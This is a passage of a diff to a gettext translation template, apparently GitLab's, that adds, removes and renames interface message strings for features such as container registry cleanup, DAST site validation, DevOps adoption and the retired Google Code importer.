+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5141,6 +5314,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8498,7 +8746,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13375,6 +13722,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13799,9 +14143,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
